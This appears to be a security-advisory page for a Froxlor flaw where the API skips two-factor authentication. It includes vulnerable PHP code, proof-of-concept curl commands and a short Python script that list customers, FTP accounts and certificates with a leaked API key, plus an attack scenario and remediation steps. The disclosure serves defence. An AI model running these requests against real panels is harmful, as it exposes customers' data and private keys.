GHSA-f9rx-7wf7-jr36: Froxlor: 2FA bypass via API grants full account access
GHSA-f9rx-7wf7-jr36 HIGHFroxlor's API authentication path completely omits Two-Factor Authentication enforcement, meaning any attacker with a leaked API key and secret can bypass TOTP entirely and exercise all 165 API functions — including reading SSL private keys, modifying DNS records, enumerating customer PII, and managing FTP credentials — regardless of whether the account owner enabled 2FA. With 475 downstream dependents, 12 prior CVEs in the same package, and a CVSS of 8.1, this component has a history of security debt that raises the probability of exploitability in environments where API credentials circulate through automation scripts, database backups, or CI pipelines. No public exploit scanner exists yet and CISA KEV shows no active exploitation, but the attack requires only a curl command and a credential, making it trivial for opportunistic actors. Upgrade to Froxlor 2.3.7 immediately, revoke and regenerate all API keys for 2FA-protected accounts, and audit API access logs for anomalous activity prior to the patch window.
What is the risk?
High risk in any environment where Froxlor manages infrastructure hosting ML services, model APIs, or data pipelines. The vulnerability is network-accessible, requires no user interaction, and demands only low privilege (a valid API key). The security control that users explicitly enrolled to protect high-value accounts — 2FA — provides zero protection via the API path. The completeness of the bypass (zero 2FA logic in the entire lib/Froxlor/Api/ directory) means there is no partial mitigation: the gap is architectural, not a configuration error.
Attack Kill Chain
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| froxlor/froxlor | composer | < 2.3.7 | 2.3.7 |
Do you use froxlor/froxlor? You're affected.
Severity & Risk
Attack Surface
What should I do?
6 steps-
Upgrade to Froxlor 2.3.7, which adds TOTP enforcement in FroxlorRPC::validateAuth().
-
Immediately revoke and regenerate all API keys for accounts that have 2FA enabled — previously issued keys cannot be trusted.
-
Temporarily disable API access (api.enabled=0) for 2FA-protected admin accounts if upgrading is not immediately possible.
-
Review API access logs (auth log + web server access log for POST /api.php) for requests made without a corresponding web UI session, particularly in the 30-day window before patching.
-
Audit automation scripts, CI/CD pipelines, and backup archives that may have stored API credentials in plaintext and rotate any exposed keys.
-
Once patched, enforce that new API keys require TOTP re-verification at creation time as an additional control.
Classification
Compliance Impact
This CVE is relevant to:
Frequently Asked Questions
What is GHSA-f9rx-7wf7-jr36?
Froxlor's API authentication path completely omits Two-Factor Authentication enforcement, meaning any attacker with a leaked API key and secret can bypass TOTP entirely and exercise all 165 API functions — including reading SSL private keys, modifying DNS records, enumerating customer PII, and managing FTP credentials — regardless of whether the account owner enabled 2FA. With 475 downstream dependents, 12 prior CVEs in the same package, and a CVSS of 8.1, this component has a history of security debt that raises the probability of exploitability in environments where API credentials circulate through automation scripts, database backups, or CI pipelines. No public exploit scanner exists yet and CISA KEV shows no active exploitation, but the attack requires only a curl command and a credential, making it trivial for opportunistic actors. Upgrade to Froxlor 2.3.7 immediately, revoke and regenerate all API keys for 2FA-protected accounts, and audit API access logs for anomalous activity prior to the patch window.
Is GHSA-f9rx-7wf7-jr36 actively exploited?
No confirmed active exploitation of GHSA-f9rx-7wf7-jr36 has been reported, but organizations should still patch proactively.
How to fix GHSA-f9rx-7wf7-jr36?
1. Upgrade to Froxlor 2.3.7, which adds TOTP enforcement in FroxlorRPC::validateAuth(). 2. Immediately revoke and regenerate all API keys for accounts that have 2FA enabled — previously issued keys cannot be trusted. 3. Temporarily disable API access (api.enabled=0) for 2FA-protected admin accounts if upgrading is not immediately possible. 4. Review API access logs (auth log + web server access log for POST /api.php) for requests made without a corresponding web UI session, particularly in the 30-day window before patching. 5. Audit automation scripts, CI/CD pipelines, and backup archives that may have stored API credentials in plaintext and rotate any exposed keys. 6. Once patched, enforce that new API keys require TOTP re-verification at creation time as an additional control.
What systems are affected by GHSA-f9rx-7wf7-jr36?
This vulnerability affects the following AI/ML architecture patterns: Web-hosted model serving infrastructure, Shared ML API hosting environments, Automated ML deployment pipelines using Froxlor API.
What is the CVSS score for GHSA-f9rx-7wf7-jr36?
GHSA-f9rx-7wf7-jr36 has a CVSS v3.1 base score of 8.1 (HIGH).
AI Security Impact
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0012 Valid Accounts AML.T0025 Exfiltration via Cyber Means AML.T0049 Exploit Public-Facing Application AML.T0091.000 Application Access Token Compliance Controls Affected
Technical Details
Original Advisory
## Summary Froxlor's API authentication (`FroxlorRPC::validateAuth`) does not enforce Two-Factor Authentication. When a user (admin or customer) enables 2FA on their account, the web UI correctly requires a TOTP code after password verification. However, the API accepts requests authenticated with only an API key and secret — no TOTP challenge is issued, checked, or required. An attacker who obtains a leaked API key+secret for a 2FA-protected account has full access to all API operations without providing a second factor. ## Affected Code **Web UI — 2FA enforced** (`index.php:82-149`): ```php if ($result['type_2fa'] != 0) { // Redirects to 2FA input page // Calls FroxlorTwoFactorAuth::verifyCode() // Login is NOT completed without valid TOTP code } ``` **API — 2FA absent** (`lib/Froxlor/Api/FroxlorRPC.php:75-105`): ```php private static function validateAuth(string $key, string $secret): bool { $sel_stmt = Database::prepare(" SELECT ak.*, a.api_allowed as admin_api_allowed, c.api_allowed as cust_api_allowed, c.deactivated FROM `api_keys` ak LEFT JOIN `panel_admins` a ON a.adminid = ak.adminid LEFT JOIN `panel_customers` c ON c.customerid = ak.customerid WHERE `apikey` = :ak AND `secret` = :as "); $result = Database::pexecute_first($sel_stmt, ['ak' => $key, 'as' => $secret]); if ($result) { if ($result['apikey'] == $key && $result['secret'] == $secret && ($result['valid_until'] == -1 || $result['valid_until'] >= time()) && (($result['customerid'] == 0 && $result['admin_api_allowed'] == 1) || ($result['customerid'] > 0 && $result['cust_api_allowed'] == 1 && $result['deactivated'] == 0))) { // Checks: key match, secret match, not expired, API allowed, not deactivated // Missing: ANY check for type_2fa, TOTP verification, or 2FA status return true; } } throw new Exception('Invalid authorization credentials', 403); } ``` There are zero references to 2FA, TOTP, `type_2fa`, or `FroxlorTwoFactorAuth` in the entire `lib/Froxlor/Api/` directory: ```bash $ grep -rn '2fa\|totp\|two.factor\|FroxlorTwoFactor' lib/Froxlor/Api/ # (no output) ``` ## PoC ### Environment - Froxlor 2.3.5, clean Docker install (Debian Bookworm, PHP 8.2, Apache 2.4) - API enabled (`api.enabled=1`) - Admin account has 2FA enabled (`type_2fa=1`, TOTP configured) - Admin has an API key ### Step 1: Confirm 2FA blocks web UI login ``` POST /index.php HTTP/1.1 Host: panel.example.com Content-Type: application/x-www-form-urlencoded loginname=admin&password=Admin123!@#&csrf_token=TOKEN&send=send ``` **Result:** Redirect to `index.php?showmessage=4` — 2FA page. Login is NOT completed. The user cannot access the dashboard without entering a TOTP code. ### Step 2: Authenticate via API — no TOTP required ```bash curl -s -u "API_KEY:API_SECRET" \ -H 'Content-Type: application/json' \ -d '{"command":"Customers.listing","params":{}}' \ https://panel.example.com/api.php ``` **Result:** HTTP 200 with full customer listing: ```json { "data": { "list": [ { "loginname": "testcust", "email": "test@froxlor.lab", "name": "Test", "firstname": "Customer" } ] } } ``` No TOTP code was provided. No 2FA prompt was returned. Full access granted. ### Step 3: Access additional sensitive resources All of these succeed without any 2FA challenge: ```bash # Domains curl -s -u "KEY:SECRET" -d '{"command":"Domains.listing"}' .../api.php # FTP accounts (home directories, credentials) curl -s -u "KEY:SECRET" -d '{"command":"Ftps.listing"}' .../api.php # Email accounts curl -s -u "KEY:SECRET" -d '{"command":"Emails.listing"}' .../api.php # MySQL databases curl -s -u "KEY:SECRET" -d '{"command":"Mysqls.listing"}' .../api.php # SSL certificates (private keys) curl -s -u "KEY:SECRET" -d '{"command":"Certificates.listing"}' .../api.php # DNS records curl -s -u "KEY:SECRET" -d '{"command":"DomainZones.listing","params":{"domainname":"example.com"}}' .../api.php ``` 165 API functions are accessible, including write operations (`Customers.update`, `Domains.add`, `Ftps.add`, etc.). ### Automated PoC Script ```python #!/usr/bin/env python3 """Froxlor <= 2.3.x — 2FA Bypass via API (CWE-287)""" import json, sys, requests, urllib3 urllib3.disable_warnings() target, key, secret = sys.argv[1], sys.argv[2], sys.argv[3] r = requests.post(f"{target}/api.php", auth=(key, secret), json={"command": "Customers.listing", "params": {}}, verify=False) data = r.json() print(f"HTTP {r.status_code}") if "data" in data: for c in data["data"].get("list", []): print(f" {c['loginname']} | {c['email']}") print(f"\n2FA-protected account accessed without TOTP. {len(data['data'].get('list',[]))} customers exposed.") ``` Usage: `python3 poc.py https://panel.example.com API_KEY API_SECRET` ## Impact When a user enables 2FA, they expect all access to their account requires a second factor. The API completely bypasses this expectation: - **Customer data**: PII (name, email, address) readable and modifiable - **Domains**: Full control over domains, subdomains, DNS records - **Email accounts**: Create, read, delete email accounts and forwarders - **FTP accounts**: Access home directory paths and credentials - **MySQL databases**: Full database management - **SSL certificates**: Read private keys, modify certificate bindings - **165 API functions**: Including all write operations API keys can be leaked through database backups, log files, config file exposure (GHSA-34qg-65m4-f23m demonstrated DB credential leaks), or compromised automation scripts. Users who enabled 2FA specifically to protect against credential compromise are not protected. ### Comparison with CVE-2023-3173 CVE-2023-3173 ("2FA Bypass by Brute Force") was accepted as **Critical ($60 bounty)** and fixed by adding rate limiting to 2FA verification. This finding is architecturally different — the API authentication path has no 2FA logic at all. No brute force is needed; the second factor is simply never requested. ## Suggested Fix Add 2FA verification to `FroxlorRPC::validateAuth()`. When the authenticated user has `type_2fa != 0`, require a TOTP code as an additional API parameter: ```php // lib/Froxlor/Api/FroxlorRPC.php, after line 100: // Check 2FA if enabled for this user if (!empty($result['adminid'])) { $user = Database::pexecute_first( Database::prepare("SELECT type_2fa, data_2fa FROM panel_admins WHERE adminid = :id"), ['id' => $result['adminid']] ); } else { $user = Database::pexecute_first( Database::prepare("SELECT type_2fa, data_2fa FROM panel_customers WHERE customerid = :id"), ['id' => $result['customerid']] ); } if ($user && $user['type_2fa'] != 0) { // Require X-2FA-Code header or 'totp_code' in request body $totp_code = $_SERVER['HTTP_X_2FA_CODE'] ?? null; if (empty($totp_code)) { throw new Exception('2FA code required', 401); } $tfa = new FroxlorTwoFactorAuth($user['data_2fa']); if (!$tfa->verifyCode($totp_code)) { throw new Exception('Invalid 2FA code', 403); } } ``` Alternatively, disable API key creation for accounts with 2FA enabled, or require 2FA re-verification when generating new API keys.
Exploitation Scenario
An attacker identifies a Froxlor instance through passive DNS or certificate transparency logs. They acquire API credentials via one of several plausible vectors: a leaked database backup (see related GHSA-34qg-65m4-f23m for prior DB credential exposure), a misconfigured object storage bucket containing automation scripts, or a compromised CI/CD runner that uses the API for deployment tasks. The target admin has 2FA enabled, so web UI access is blocked by TOTP. The attacker instead sends a direct POST to /api.php with the key and secret, bypassing 2FA entirely. They enumerate all customers, extract SSL private keys for hosted domains, clone DNS zones, and add backdoor FTP accounts to persist access to the file system where ML model artifacts or training data may reside — all without triggering any 2FA challenge.
Weaknesses (CWE)
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N References
Timeline
Related Vulnerabilities
CVE-2026-41236 8.8 Froxlor: symlink-following grants customer root SSH access
Same package: panel CVE-2026-41235 8.8 Froxlor: shell whitelist bypass grants host shell access
Same package: panel CVE-2026-41234 7.6 Froxlor: DNS zone injection via unsanitized TXT record
Same package: panel CVE-2026-44898 6.1 mistune: XSS in TOC render via unescaped heading ID
Same package: panel CVE-2026-44897 6.1 mistune: XSS via unescaped heading id= attribute
Same package: panel